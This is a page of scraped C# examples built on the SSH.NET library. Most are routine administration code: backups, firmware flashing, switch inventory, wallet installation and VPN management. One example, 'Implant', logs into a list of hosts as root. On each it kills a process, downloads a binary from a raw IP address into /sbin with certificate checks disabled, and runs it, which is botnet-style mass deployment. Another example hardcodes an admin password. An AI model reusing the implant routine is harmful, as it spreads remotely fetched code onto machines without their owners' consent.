            var modes = new Dictionary <Renci.SshNet.Common.TerminalModes, uint>();

            stream = sshClient.CreateShellStream("xterm", 255, 50, 800, 600, 1024, modes);

            WakeupCall(stream);

            ExecuteNetappEnvironmentCommands(stream);

            GetONTAPVersion(stream);

            nodes = GetNodes(stream);

            CheckSingeNodeCluster();

            if (nodes?.Count == 0)
            {
                UpdateTaskbarErrorState(1, System.Windows.Shell.TaskbarItemProgressState.Error);
                MessageBox.Show("No nodes were found! Make sure NetApp is configured well or contact the developer", "Error!");
                return;
            }

            aggregates = GetAggregates(stream);
            _allDisks  = GetDisks(stream);
            ShowAllDisks(_allDisks);

            _brokenDisks = GetBrokenDisks(_allDisks);
            ShowAllBrokenDisks(_brokenDisks);

            _unsupportedDisks = GetUnsupportedDisks(_allDisks);
            ShowAllUnsupportedDisks(_unsupportedDisks);

            if (!isSingleNode && _unsupportedDisks.Count > 0)
            {
                UpdateTaskbarErrorState(1, System.Windows.Shell.TaskbarItemProgressState.Paused);
                MessageBox.Show($"Disovered {_unsupportedDisks.Count} unsupported disks, this might happen when using IOM's with different versions on a system with more that 1 node. {Environment.NewLine}You have {nodes.Count} nodes in your system, {nodes.Where(node => node.Health).Count()} of which are healthy. {Environment.NewLine}Check your IOM's versions.");
            }

            _foreignDisks = GetForeignDisksFromDisks(_allDisks, nodes, _unsupportedDisks);
            ShowAllForeignDisks(_foreignDisks);

            DisplayedDisks = _allDisks;

            Checkboxes.IsEnabled = true;
        }
Ejemplo n.º 38
0
 public override IDSMVersion GetVersionInfo(SshClient client)
 {
     return(new DSMVersion6(GetVersionProperties(client)));
 }
Ejemplo n.º 39
0
        /// <summary>
        /// Backup
        /// </summary>
        /// <param name="hostsAndPort"></param>
        /// <param name="username"></param>
        /// <param name="password"></param>
        /// <param name="pathsToBackup"></param>
        /// <param name="directoryWork"></param>
        /// <param name="keep"></param>
        /// <param name="debug"></param>
        /// <param name="out"></param>
        public static void Backup(string hostsAndPort,
                                  string username,
                                  string password,
                                  string[] pathsToBackup,
                                  string directoryWork,
                                  int keep,
                                  bool debug,
                                  TextWriter @out)
        {
            @out.WriteLine($@"ACTION Backup
Keep: {keep}
Directory Work: {directoryWork}
Directory Node to archive:");

            foreach (var item in pathsToBackup)
            {
                @out.WriteLine(item);
            }

            var date          = DateTime.Now;
            var fileNameTarGz = FileNameLinuxTarGz(date);

            //create folder date
            var pathSave = Path.Combine(directoryWork, date.ToString(FORMAT_DATE));

            Directory.CreateDirectory(pathSave);

            foreach (var(host, port) in ClientHelper.GetHostsAndPorts(hostsAndPort, 22, true, null))
            {
                // Execute a (SHELL) Command for download
                using var sshClient = new SshClient(host, port, username, password);
                //create tar
                sshClient.Connect();

                var cmdCreateTarGz = $"tar -cvzPf {fileNameTarGz} {string.Join(" ", pathsToBackup)}";
                var retCmd         = sshClient.CreateCommand(cmdCreateTarGz).Execute();
                if (debug)
                {
                    @out.WriteLine($"Create file tar.gz: {cmdCreateTarGz}");
                    @out.WriteLine($"Result command: {retCmd}");
                }

                var fileToSave = Path.Combine(pathSave, $"{host}{FILE_NAME}");

                // download
                using var sftp   = new SftpClient(host, port, username, password);
                using var stream = File.OpenWrite(fileToSave);
                sftp.Connect();
                if (debug)
                {
                    @out.WriteLine($"Download file tar.gz: {fileNameTarGz} to {fileToSave}");
                }
                sftp.DownloadFile(fileNameTarGz, stream);
                sftp.Disconnect();

                //delete tar
                var cmdRmTarGz = $"rm {fileNameTarGz}";
                retCmd = sshClient.CreateCommand(cmdRmTarGz).Execute();
                if (debug)
                {
                    @out.WriteLine($"Delete tar.gz: {cmdRmTarGz}");
                    @out.WriteLine($"Result command: {retCmd}");
                }
                sshClient.Disconnect();

                @out.WriteLine($"Create config: {fileToSave}");
            }

            //keep
            foreach (var directoryBackupDateTime in Directory.GetDirectories(directoryWork)
                     .OrderByDescending(a => a)
                     .Skip(keep))
            {
                Delete(directoryBackupDateTime, @out);
            }
        }
Ejemplo n.º 40
0
 public static void UpdatePortsCollection(SshClient sshClient)
 {
     sshClient.CreateCommand("sudo portsnap fetch update --interactive").Execute();
 }
Ejemplo n.º 41
0
 public static void SetMasurcaError(SshClient client, GenomeModel genomeModel)
 {
     genomeModel.MasurcaCurrentStep = -1;
     genomeModel.MasurcaStatus      = LinuxCommands.GetMasurcaError(client, genomeModel.Seed);
 }
Ejemplo n.º 42
0
 public SSHController()
 {
     ssh = new SshClient("10.0.12.240", 10000, "admin", "tst0VMman");
 }
Ejemplo n.º 43
0
        /// <summary>
        /// Installs the jumpcoind with (if wanted) cronjob
        /// </summary>
        private void RunCommand()
        {
            //load all variables

            ip          = ip_feld.Text;
            username    = username_feld.Text;
            password    = password_feld.Text;
            port        = port_feld.Text;
            rpcuser     = RpcUser_feld.Text;
            rpcpassword = RpcPassword_feld.Text;
            string TEMP_PATH = Path.GetTempPath();


            /// <summary>
            /// The Part with cron
            /// </summary>

            using (var client = new SshClient(ip, Convert.ToInt16(port), username, password))
            {
                // check if everything givem
                try
                {
                    client.Connect();
                }
                catch
                {
                    if (language_info == "deu")
                    {
                        MessageBox.Show("Bitte fülle die Felder IP, Benutzername, Benutzerpasswort, rcuser und rpcpasswort aus!");
                    }
                    else
                    {
                        MessageBox.Show("Please fill out the IP, user, password, rpcuser and rpcpassword!");  //if not
                    }
                    return;
                }


                // Crappy way!! I don't know how to transfer a lokal variable to the vps. So I create lokal a file with the genkey as name, upload it
                // to the vps and read the new created directory. The output is the genkey :D

                var command = client.CreateCommand("mkdir /root/temp_jumpcoin_user/");
                var result  = command.BeginExecute();
                command = client.CreateCommand("mkdir /root/temp_jumpcoin_password/");
                result  = command.BeginExecute();

                //create the lokale file
                if (!File.Exists(TEMP_PATH + rpcuser))
                {
                    using (StreamWriter sw = new StreamWriter(Environment.ExpandEnvironmentVariables(TEMP_PATH + rpcuser), true))
                    {
                    }
                }

                if (!File.Exists(TEMP_PATH + rpcpassword))
                {
                    using (StreamWriter sw = new StreamWriter(Environment.ExpandEnvironmentVariables(TEMP_PATH + rpcpassword), true))
                    {
                    }
                }
                client.Disconnect();
            }

            using (var client = new SftpClient(ip, Convert.ToInt16(port), username, password))
            {
                client.Connect();

                FileInfo f          = new FileInfo(TEMP_PATH + rpcuser);
                string   uploadfile = f.FullName;

                var fileStream = new FileStream(uploadfile, FileMode.Open);
                if (fileStream != null)
                {
                    client.UploadFile(fileStream, "/root/temp_jumpcoin_password/" + f.Name, null);
                    client.Disconnect();
                    client.Dispose();
                }
            }

            using (var client = new SftpClient(ip, Convert.ToInt16(port), username, password))
            {
                client.Connect();

                FileInfo f          = new FileInfo(TEMP_PATH + rpcpassword);
                string   uploadfile = f.FullName;

                var fileStream = new FileStream(uploadfile, FileMode.Open);
                if (fileStream != null)
                {
                    client.UploadFile(fileStream, "/root/temp_jumpcoin_user/" + f.Name, null);
                    client.Disconnect();
                    client.Dispose();
                }
            }



            // execute the ./jumpcoind install script (self-made)

            using (var client = new SshClient(ip, Convert.ToInt16(port), username, password))
            {
                client.Connect();

                var command = client.CreateCommand("./jumpcoind getblockcount");
                var result  = command.BeginExecute();
                System.Threading.Thread.Sleep(500);

                if (startup_checkbox.Checked)                                                                                                                                                              //With Cron
                {
                    command = client.CreateCommand("sudo wget https://raw.githubusercontent.com/Roalkege/Jumpcoind_install_tool/master/jumpcoind_install_cron.sh && sudo bash jumpcoind_install_cron.sh"); //download the script
                    result  = command.BeginExecute();
                }
                else
                {
                    //without cron
                }
                {
                    command = client.CreateCommand("sudo wget https://raw.githubusercontent.com/Roalkege/Jumpcoind_install_tool/master/jumpcoind_install.sh && sudo bash jumpcoind_install.sh");  //download the script
                    result  = command.BeginExecute();
                }

                //log vps output
                using (var reader =
                           new StreamReader(command.OutputStream, Encoding.UTF8, true, 1024, true))
                {
                    while (!result.IsCompleted || !reader.EndOfStream)
                    {
                        string line = reader.ReadLine();
                        if (line != null)
                        {
                            log_feld.Invoke(
                                (MethodInvoker)(() =>
                                                log_feld.AppendText(line + Environment.NewLine)));
                        }
                    }
                }

                command.EndExecute(result);
                if (language_info == "deu")
                {
                    MessageBox.Show("Wallet installiert.");
                }
                else
                {
                    MessageBox.Show("Wallet installed.");
                }
                client.Disconnect();
            }
        }
Ejemplo n.º 44
0
 public FileService(SftpClient client, JsonConfig config, SshClient sshClient)
 {
     this.Client    = client;
     this.Config    = config;
     this.SshClient = sshClient;
 }
Ejemplo n.º 45
0
        public static void flash(string firmware_file, string firmware_md5 = "", bool solo = true, bool clean = false)
        {
            var ip = Solo.soloip;

            if (solo == false)
            {
                ip = Solo.controllerip;
            }

            if ((is_solo_alive && solo) || (is_controller_alive && !solo))
            {
                Console.WriteLine("About to connect " + ip);
                using (SshClient client = new SshClient(ip, 22, Solo.username, Solo.password))
                {
                    client.KeepAliveInterval = TimeSpan.FromSeconds(5);
                    client.Connect();

                    if (!client.IsConnected)
                    {
                        throw new Exception("Failed to connect ssh");
                    }

                    Console.WriteLine("run update-prepare");
                    var retcode = client.RunCommand("sololink_config --update-prepare sololink");

                    if (retcode.ExitStatus != 0)
                    {
                        Console.WriteLine("run cleanup");
                        client.RunCommand("rm -rf /log/updates && mkdir -p /log/updates");
                    }

                    using (ScpClient scpClient = new ScpClient(client.ConnectionInfo))
                    {
                        scpClient.Connect();

                        if (!scpClient.IsConnected)
                        {
                            throw new Exception("Failed to connect scp");
                        }

                        if (firmware_md5 == "")
                        {
                            using (var md5 = MD5.Create())
                                using (var fs = File.OpenRead(firmware_file))
                                {
                                    var hash = md5.ComputeHash(fs);

                                    File.WriteAllText(firmware_file + ".md5",
                                                      ByteArrayToString(hash) + "  " + Path.GetFileName(firmware_file) + "\n");
                                }

                            firmware_md5 = firmware_file + ".md5";
                        }

                        Console.WriteLine("upload firmware");
                        scpClient.Upload(new FileInfo(firmware_file), "/log/updates/" + Path.GetFileName(firmware_file));
                        scpClient.Upload(new FileInfo(firmware_md5), "/log/updates/" + Path.GetFileName(firmware_md5));
                    }

                    if (clean)
                    {
                        retcode = client.RunCommand("sololink_config --update-apply sololink --reset");
                    }
                    else
                    {
                        Console.WriteLine("update-apply");
                        retcode = client.RunCommand("sololink_config --update-apply sololink");
                    }

                    if (retcode.ExitStatus != 0)
                    {
                        if (clean)
                        {
                            retcode =
                                client.RunCommand(
                                    "touch /log/updates/UPDATE && touch /log/updates/RESETSETTINGS && shutdown -r now");
                        }
                        else
                        {
                            Console.WriteLine("reboot");
                            retcode = client.RunCommand("touch /log/updates/UPDATE && shutdown -r now");
                        }
                    }

                    client.Disconnect();
                }
            }
            else
            {
                throw new Exception("Solo is not responding to pings");
            }
        }
Ejemplo n.º 46
0
 public Commands(SshClient currentClient)
 {
     client = currentClient;
 }
Ejemplo n.º 47
0
 public TrojanGoProject(SshClient sshClient, TrojanGoSettings parameters, Action <string> writeOutput) : base(sshClient, parameters, writeOutput)
 {
 }
Ejemplo n.º 48
0
 public static SshCommand BeginCommand(this SshClient ssh, string commandText, Action <string> output, out IAsyncResult asyncResult)
 {
     return(ssh.BeginCommand(commandText, output, null, out asyncResult));
 }
Ejemplo n.º 49
0
 public XrayProject(SshClient sshClient, XraySettings parameters, Action <string> writeOutput) : base(sshClient, parameters, writeOutput)
 {
 }
Ejemplo n.º 50
0
        private void updateSwitch(SwitchInfo sw)
        {
            //If no username specified use defaults for username and password
            string username = (string.IsNullOrEmpty(sw.UserName) ? Properties.Settings.Default.DefaultUserName : sw.UserName);
            string password = (string.IsNullOrEmpty(sw.UserName) ? Functions.DecryptPassword(Properties.Settings.Default.DefaultEncryptedPassword) : sw.Password);

            if (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password))
            {
                if (InvokeRequired)
                {
                    Invoke(new UpdateStatus(updateStatus), "Credentials invalid for " + sw.Name + ".");
                }
                if (failedSwitches != null)
                {
                    failedSwitches.Add(sw.Name);
                }
                else
                {
                    if (InvokeRequired)
                    {
                        Invoke(new ShowWarning(showWarning), "Credentials are not set correctly to access " + sw.Name + ".", "Error", false);
                    }
                }
                return;
            }

            if (InvokeRequired)
            {
                Invoke(new UpdateStatus(updateStatus), "Connecting to " + sw.Name + "...");
            }
            using (var sshclient = new SshClient(sw.Address, username, password))
            {
                try
                {
                    if (InvokeRequired)
                    {
                        Invoke(new UpdateStatus(updateStatus), "Gathering data for " + sw.Name + "...");
                    }

                    sw.Ports = new Collection <SwitchPort>();
                    sshclient.Connect();
                    var reply = sshclient.RunCommand("show interface description").Result;
                    sshclient.Disconnect();
                    string[] lines = getResultData(reply, "Interface");
                    if (lines != null && lines.Length > 1)
                    {
                        for (int i = 1; i < lines.Length; i++)
                        {
                            char[] lineChars = lines[i].ToCharArray();
                            string strInt    = "";
                            string strDesc   = "";
                            for (int j = 0; j < lineChars.Length; j++)
                            {
                                if (j < 31)
                                {
                                    strInt += lineChars[j];
                                }
                                if (j > 54)
                                {
                                    strDesc += lineChars[j];
                                }
                            }
                            strInt  = strInt.Trim();
                            strDesc = strDesc.Trim();
                            if (strInt.Length > 0)
                            {
                                sw.addPort(new SwitchPort(strInt, strDesc));
                            }
                        }
                    }

                    if (sw.Ports.Count < 1)
                    {
                        if (failedSwitches != null)
                        {
                            failedSwitches.Add(sw.Name);
                        }
                        else
                        {
                            if (InvokeRequired)
                            {
                                Invoke(new ShowWarning(showWarning), "Failed to collect data for switch " + sw.Name, "Error", false);
                            }
                        }

                        return;
                    }

                    sshclient.Connect();
                    reply = sshclient.RunCommand("show interface status").Result;
                    sshclient.Disconnect();
                    lines = getResultData(reply, "Port");
                    if (lines != null && lines.Length > 1)
                    {
                        for (int i = 1; i < lines.Length; i++)
                        {
                            char[] lineChars = lines[i].ToCharArray();
                            string strInt    = "";
                            string strStatus = "";
                            string strVlan   = "";
                            string strDuplex = "";
                            string strSpeed  = "";
                            string strType   = "";
                            for (int j = 0; j < lineChars.Length; j++)
                            {
                                if (j < 10)
                                {
                                    strInt += lineChars[j];
                                }
                                if (j >= 30 && j < 43)
                                {
                                    strStatus += lineChars[j];
                                }
                                if (j >= 43 && j < 54)
                                {
                                    strVlan += lineChars[j];
                                }
                                if (j >= 54 && j < 61)
                                {
                                    strDuplex += lineChars[j];
                                }
                                if (j >= 61 && j < 68)
                                {
                                    strSpeed += lineChars[j];
                                }
                                if (j >= 68)
                                {
                                    strType += lineChars[j];
                                }
                            }
                            strInt    = strInt.Trim();
                            strStatus = strStatus.Trim();
                            strVlan   = strVlan.Trim();
                            strDuplex = strDuplex.Trim();
                            strSpeed  = strSpeed.Trim();
                            strType   = strType.Trim();
                            if (strInt.Length > 0)
                            {
                                SwitchPort prt = sw.getPort(strInt);
                                if (prt != null)
                                {
                                    prt.Status = strStatus;
                                    prt.Vlan   = strVlan;
                                    prt.Duplex = strDuplex;
                                    prt.Speed  = strSpeed;
                                    prt.Type   = strType;
                                }
                            }
                        }
                    }

                    sshclient.Connect();
                    reply = sshclient.RunCommand("show ip arp").Result;
                    sshclient.Disconnect();
                    lines = getResultData(reply, "Protocol");
                    if (lines != null && lines.Length > 1)
                    {
                        for (int i = 1; i < lines.Length; i++)
                        {
                            char[] lineChars = lines[i].ToCharArray();
                            string strIp     = "";
                            string strMac    = "";
                            for (int j = 0; j < lineChars.Length; j++)
                            {
                                if (j >= 10 && j < 27)
                                {
                                    strIp += lineChars[j];
                                }
                                if (j >= 38 && j < 54)
                                {
                                    strMac += lineChars[j];
                                }
                            }
                            strIp  = strIp.Trim();
                            strMac = strMac.Trim();
                            if (strIp.Length > 6)
                            {
                                bool found = false;
                                foreach (string ip in ipList)
                                {
                                    if (ip.Equals(strIp))
                                    {
                                        foreach (string mac in ipList.GetValues(ip))
                                        {
                                            if (mac.Equals(strMac))
                                            {
                                                found = true;
                                            }
                                        }
                                    }
                                }
                                if (!found)
                                {
                                    ipList.Add(strIp, strMac);
                                }
                            }
                        }
                    }

                    sshclient.Connect();
                    reply = sshclient.RunCommand("show mac address").Result;
                    sshclient.Disconnect();
                    lines = getResultData(reply, "mac address");
                    if (lines != null && lines.Length > 1)
                    {
                        List <string> lineList = lines.ToList();
                        // Remove irrelevant multicast entries
                        if (lineList.FindIndex(r => r.Contains("Multicast Entries")) >= 0)
                        {
                            lineList.RemoveRange(lineList.FindIndex(r => r.Contains("Multicast Entries")), lineList.Count - lineList.FindIndex(r => r.Contains("Multicast Entries")));
                        }

                        foreach (SwitchPort prt in sw.Ports)
                        {
                            foreach (string line in lineList)
                            {
                                var portname = Regex.Match(line.TrimEnd(), @" [^ ]+$");
                                if (portname.Success && prt.Name.Equals(Regex.Replace(portname.Value, @" ([a-zA-Z][a-zA-Z])[a-zA-Z]*([0-9].*)", "$1$2"), StringComparison.OrdinalIgnoreCase))
                                {
                                    var macAdd = Regex.Match(line, @"([0-9a-f]{4}\.){2}[0-9a-f]{4}");
                                    if (macAdd.Success && !prt.getMacs().Contains(macAdd.Value))
                                    {
                                        prt.addMac(macAdd.Value);
                                    }
                                }
                            }
                            if (InvokeRequired)
                            {
                                Invoke(new UpdateProgress(updateProgress), Math.Max(100 / sw.Ports.Count, 1), true);
                            }
                        }
                    }
                }
                catch (Exception ex)
                {
                    if (failedSwitches != null)
                    {
                        failedSwitches.Add(sw.Name);
                    }
                    else
                    {
                        if (InvokeRequired)
                        {
                            Invoke(new ShowWarning(showWarning), "Failed to update switch " + sw.Name + "\r\n\r\n" + ex.Message, "Error", false);
                        }
                    }
                }
                finally
                {
                    sshclient.Disconnect();
                    sshclient.Dispose();
                }
            }
        }
Ejemplo n.º 51
0
        public static string CurrentLoggedUsers(SshClient sshClient)
        {
            var loggedUsers = sshClient.CreateCommand("sudo LANG=C w -n --libxo=json,pretty").Execute().FromJson <SystemUptime>().UptimeInformation.UserTable.UserEntry.Select(user => user.User);

            return(string.Join("\n", loggedUsers));
        }
Ejemplo n.º 52
0
        public static void Implant(int tnum = 15)
        {
            List <string>  result = new List <string>();
            List <Task>    list   = new List <Task>();
            var            ips    = File.ReadAllLines(Local + "canlogin.txt");
            Queue <string> queue  = new Queue <string>(ips.AsEnumerable());

            for (int i = 0; i < tnum; i++)
            {
                Task task = new Task(() =>
                {
                    while (queue.Count > 0)
                    {
                        Monitor.Enter(queue);
                        if (queue.Count > 0)
                        {
                            var ip = queue.Dequeue();
                            Monitor.Exit(queue);
                            SshClient client = null;
                            try
                            {
                                client = new SshClient(ip, "root", new PrivateKeyFile(Local + "key"));
                                client.Connect();
                                var ssh1 =
                                    client.CreateCommand("kill `ps -ef|grep client|grep -v grep|awk '{print $2}'`");
                                ssh1.BeginExecute();
                                Thread.Sleep(500);
                                var ssh2 = client.CreateCommand("rm -f /sbin/client");
                                ssh2.BeginExecute();

                                Thread.Sleep(500);
                                var ssh3 =
                                    client.CreateCommand(
                                        "wget https://123.207.157.21/client -O /sbin/client --no-check-certificate");
                                ssh3.BeginExecute();
                                Console.WriteLine(ip + " start download");
                                Thread.Sleep(5000);
                                var ssh4 = client.CreateCommand("chmod +x /sbin/client");
                                ssh4.BeginExecute();
                                Console.WriteLine(ip + " download ok");
                                Thread.Sleep(500);
                                var ssh = client.CreateCommand("/sbin/client");
                                ssh.BeginExecute();
                                result.Add(ip);
                            }
                            catch (Exception e)
                            {
                                //Console.WriteLine(e.Message);
                            }
                            finally
                            {
                                client.Dispose();
                            }
                        }
                        else
                        {
                            Monitor.Exit(queue);
                        }
                    }
                });
                list.Add(task);
                task.Start();
            }
            Task.WaitAll(list.ToArray());
            StringBuilder sb = new StringBuilder();

            foreach (var str in result)
            {
                sb.AppendLine(str);
            }
            File.WriteAllText(Local + "implant.txt", sb.ToString());
        }
Ejemplo n.º 53
0
        public void ReloadUI()
        {
            int y = 0;
            int x = 0;

            int height = 72;
            int width  = 272;

            int cols = 5;

            foreach (ConnectionInfo connInfo in connections)
            {
                Panel p = new Panel();

                Label serverName   = new Label();
                Label serverDetail = new Label();
                Label statusPoint  = new Label();

                LinkLabel puttyLabel     = new LinkLabel();
                LinkLabel wireGuardLabel = new LinkLabel();

                //Set the server name label (My Pi Server)
                serverName.Text     = connInfo.name;
                serverName.Font     = new Font("Segoe UI", 14, FontStyle.Bold);
                serverName.Size     = new Size(200, 24);
                serverName.Location = new Point(40, 0);

                //Set the detail label ([email protected])
                serverDetail.Text     = $"{connInfo.user}@{connInfo.host}";
                serverDetail.Font     = new Font("Segoe UI", 10, FontStyle.Regular);
                serverDetail.Size     = new Size(200, 16);
                serverDetail.Location = new Point(47, 21);

                //Set the putty link label
                puttyLabel.Text     = $"Console";
                puttyLabel.Font     = new Font("Segoe UI", 9, FontStyle.Underline);
                puttyLabel.Size     = new Size(52, 16);
                puttyLabel.Location = new Point(48, 37);

                //Set the edit link label
                wireGuardLabel.Text     = $"WireGuard";
                wireGuardLabel.Font     = new Font("Segoe UI", 9, FontStyle.Underline);
                wireGuardLabel.Size     = new Size(64, 16);
                wireGuardLabel.Location = new Point(96, 37);

                //Set the host panel parameters
                p.Location    = new Point(x, y);
                p.Size        = new Size(256, 64);
                p.BorderStyle = BorderStyle.FixedSingle;

                //Set the server name label (My Pi Server)
                statusPoint.Text      = "•";
                statusPoint.Font      = new Font("Segoe UI", 40, FontStyle.Bold);
                statusPoint.Size      = new Size(32, 64);
                statusPoint.Location  = new Point(0, -16);
                statusPoint.ForeColor = Color.BlueViolet;

                //Add the controls
                p.Controls.Add(serverName);
                p.Controls.Add(serverDetail);
                p.Controls.Add(puttyLabel);
                p.Controls.Add(wireGuardLabel);
                p.Controls.Add(statusPoint);

                basePanel.Controls.Add(p);
                y += height;

                if (y == (height * cols))
                {
                    y  = 0;
                    x += width;
                }

                wireGuardLabel.Click += new EventHandler(delegate(Object o, EventArgs a)
                {
                    wirePanel.Visible            = true;
                    wirePanelGroup.Text          = connInfo.name + " WireGuard configuration";
                    closeConfiguratorBtn.Visible = true;
                    editConnBtn.Visible          = false;
                    addConnBtn.Visible           = false;

                    loadVPNUsers(connInfo);
                    activeConnection = connInfo;
                });

                puttyLabel.Click += new EventHandler(delegate(Object o, EventArgs a)
                {
                    System.Diagnostics.Process process            = new System.Diagnostics.Process();
                    System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
                    startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
                    startInfo.FileName    = "cmd.exe";
                    startInfo.Arguments   = $"/C wt ; ssh {connInfo.user}@{connInfo.host} -p {connInfo.port}";
                    process.StartInfo     = startInfo;
                    process.Start();
                });

                new Thread(() => {
                    using (var client = new SshClient(connInfo.host, connInfo.port, connInfo.user, connInfo.pass))
                    {
                        try
                        {
                            client.Connect();

                            if (client.ConnectionInfo.IsAuthenticated)
                            {
                                this.Invoke((MethodInvoker)(() => {
                                    statusPoint.ForeColor = Color.Green;
                                }));
                            }
                            else
                            {
                                this.Invoke((MethodInvoker)(() => {
                                    statusPoint.ForeColor = Color.Red;
                                }));
                            }

                            client.Disconnect();
                        }
                        catch (Exception ag)
                        {
                            this.Invoke((MethodInvoker)(() => {
                                statusPoint.ForeColor = Color.Red;
                            }));
                        }
                    }
                }).Start();
            }
        }
Ejemplo n.º 54
0
        public async Task <List <string> > RunCommandShell(List <string> commandList, SshClient client)
        {
            List <string> result = new List <string>();
            await Task.Run(async() =>
            {
                client.Connect();

                SshCommand sc;
                foreach (var command in commandList)
                {
                    sc           = client.CreateCommand(command);
                    var SCresult = sc.BeginExecute();
                    while (SCresult.IsCompleted == false)
                    {
                        await Task.Delay(TimeSpan.FromSeconds(1));
                    }
                    result.Add(sc.Result);
                }
            });

            return(result);
        }
Ejemplo n.º 55
0
        private void button2_Click(object sender, EventArgs e)
        {
            connTestResultLabel.Text      = "Connecting ...";
            connTestResultLabel.ForeColor = Color.Black;
            enableUI(true, false);

            testThread = null;
            testThread = new Thread(() => {
                using (var client = new SshClient(hostTxt.Text, int.Parse(portText.Text), userText.Text, passText.Text))
                {
                    try
                    {
                        client.Connect();

                        if (client.ConnectionInfo.IsAuthenticated)
                        {
                            this.Invoke((MethodInvoker)(() => {
                                connTestResultLabel.Text = "Success";
                                connTestResultLabel.ForeColor = Color.Green;
                                enableUI(false, true);
                            }));
                        }
                        else
                        {
                            this.Invoke((MethodInvoker)(() => {
                                connTestResultLabel.Text = "Incorrect credentials";
                                connTestResultLabel.ForeColor = Color.Orange;
                                enableUI(true);
                            }));
                        }

                        client.Disconnect();
                    }
                    catch (AggregateException ag)
                    {
                        this.Invoke((MethodInvoker)(() => {
                            connTestResultLabel.Text = ag.InnerException.Message;
                            connTestResultLabel.ForeColor = Color.Red;
                            enableUI(true);
                        }));
                    }
                    catch (SocketException socex)
                    {
                        this.Invoke((MethodInvoker)(() => {
                            connTestResultLabel.Text = socex.Message;
                            connTestResultLabel.ForeColor = Color.Red;
                            enableUI(true);
                        }));
                    }
                    catch (SshAuthenticationException)
                    {
                        this.Invoke((MethodInvoker)(() => {
                            connTestResultLabel.Text = "Incorrect credentials";
                            connTestResultLabel.ForeColor = Color.Orange;
                            enableUI(true);
                        }));
                    }
                }
            });
            testThread.Start();
        }
Ejemplo n.º 56
0
        private void getLogList_func()
        {
            directoryTreeView.Nodes.Clear();
            logList.Clear();
            // get log file list

            string farring_IP  = "11.0.0.1";
            string user_name   = "root";
            string farring_pwd = " ";

            using (var client = new SshClient(farring_IP, user_name, farring_pwd))
            {
                // connect
                try
                {
                    client.Connect();
                }
                catch (Exception ex)
                {
                    CustomMessageBox.Show("无法连接到飞控,请确认是否已连接飞控WiFi热点[0]!");
                    return;
                }

                if (!client.IsConnected)
                {
                    CustomMessageBox.Show("无法连接到飞控,请确认是否已连接飞控WiFi热点[1]!");
                    return;
                }
                try
                {
                    string log_file_path = "/var/APM/logs/";
                    string res           = client.RunCommand("ls -tr --full-time " + log_file_path).Result;

                    // avoid SN is NULL
                    if (0 == res.Length)
                    {
                        MessageBox.Show("抱歉,暂时没有飞行日志", "飞行日志列表为空", MessageBoxButtons.OK, MessageBoxIcon.Information);
                        return;
                    }

                    string[] info = res.Split('\n');

                    /*
                     *
                     * total 3906080
                     * -rwxr-xr-x 1 root root  12193792 2014-05-15 02:37:48.000000000 +0000 100.FLOG
                     * -rwxr-xr-x 1 root root    122880 2014-05-15 02:38:12.000000000 +0000 101.FLOG
                     * -rwxr-xr-x 1 root root  21479424 2014-05-15 02:45:30.000000000 +0000 102.FLOG
                     * -rwxr-xr-x 1 root root 250888192 2014-05-15 03:39:12.000000000 +0000 103.FLOG
                     * -rwxr-xr-x 1 root root  57352192 2014-05-15 02:37:30.000000000 +0000 104.FLOG
                     */

                    foreach (string info_item in info) // line
                    {
                        if (info_item.Contains(".FLOG"))
                        // if (info_item.Contains(".BIN"))
                        {
                            string[]    log_info = info_item.Trim().Split(new char[] { ' ' }, StringSplitOptions.RemoveEmptyEntries);
                            st_log_item log_item = new st_log_item(log_info[8], log_info[5], log_info[6].Substring(0, 8), log_info[4]);
                            logList.Add(log_item);
                        }
                    }
                }
                catch (Exception ex)
                {
                    MessageBox.Show("获取飞行日志列表出错,请尝试重新获取", "获取错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
                }

                client.Disconnect();
                client.Dispose();
            }

            string date_group = "";
            int    node_cnt   = 0;

            // noded log file as tree(according to date)
            foreach (var log_var in logList)              // date is in order-incr
            {
                if (!log_var.log_date.Equals(date_group)) // new top node
                {
                    string root_node = log_var.log_date;
                    directoryTreeView.Nodes.Add(root_node);
                    date_group = log_var.log_date;
                }
                node_cnt++;
                DateTime log_dateTimeUTC = DateTime.ParseExact(log_var.log_date + " " + log_var.log_time, "yyyy-MM-dd HH:mm:ss", null);
                DateTime log_dateTime    = log_dateTimeUTC.AddHours(8); // UTC to BeiJing
                log_var.log_time = log_dateTime.TimeOfDay.ToString();

                TreeNode log_file_node = new TreeNode("(" + node_cnt.ToString() + ")" + log_dateTime + " [" + (Double.Parse(log_var.log_size) * 9.53674E-7).ToString("0.00") + "MB]");
                directoryTreeView.Nodes[directoryTreeView.GetNodeCount(false) - 1].Nodes.Add(log_file_node);
            }

            // populate
        }
Ejemplo n.º 57
0
        private object SshCommsProcess(object userSpecific)
        {
            try
            {
                Thread.Sleep(1000);

                Debug.WriteInfo(string.Format("{0} attempting connection to {1}", GetType().Name, _address));

                var firstFail = false;

                while (!_client.IsConnected && _reconnect)
                {
                    try
                    {
                        ConnectionStatus = ClientStatus.AttemptingConnection;
                        _client.Connect();
                    }
                    catch
                    {
                        ConnectionStatus = ClientStatus.Disconnected;
                        if (!firstFail)
                        {
                            CloudLog.Warn("{0} could not connect to {1}, will retry every 30 seconds until connected",
                                          GetType().Name, _address);
                            firstFail = true;
                        }
                        Thread.Sleep(30000);
                    }
                }

                if (!_client.IsConnected && !_reconnect)
                {
                    _client.Dispose();
                    _client          = null;
                    ConnectionStatus = ClientStatus.Disconnected;
                    return(null);
                }

                CloudLog.Notice("{0} Connected to {1}", GetType().Name, _address);

                _shell = _client.CreateShellStream("terminal", 80, 24, 800, 600, BufferSize);

                var buffer    = new byte[BufferSize];
                var dataCount = 0;

                try
                {
                    while (_programRunning && _client.IsConnected)
                    {
                        while (_shell.CanRead && _shell.DataAvailable)
                        {
                            var incomingData      = new byte[BufferSize];
                            var incomingDataCount = _shell.Read(incomingData, 0, incomingData.Length);
#if DEBUG
                            _stopWatch.Start();
                            Debug.WriteSuccess("Tesira rx {0} bytes", incomingDataCount);
                            //Debug.WriteNormal(Debug.AnsiBlue +
                            //                  Tools.GetBytesAsReadableString(incomingData, 0, incomingDataCount, true) +
                            //                  Debug.AnsiReset);
#endif
                            if (!Connected &&
                                Encoding.ASCII.GetString(incomingData, 0, incomingDataCount)
                                .Contains("Welcome to the Tesira Text Protocol Server..."))
                            {
                                _requestsSent.Clear();
                                _requestsAwaiting.Clear();
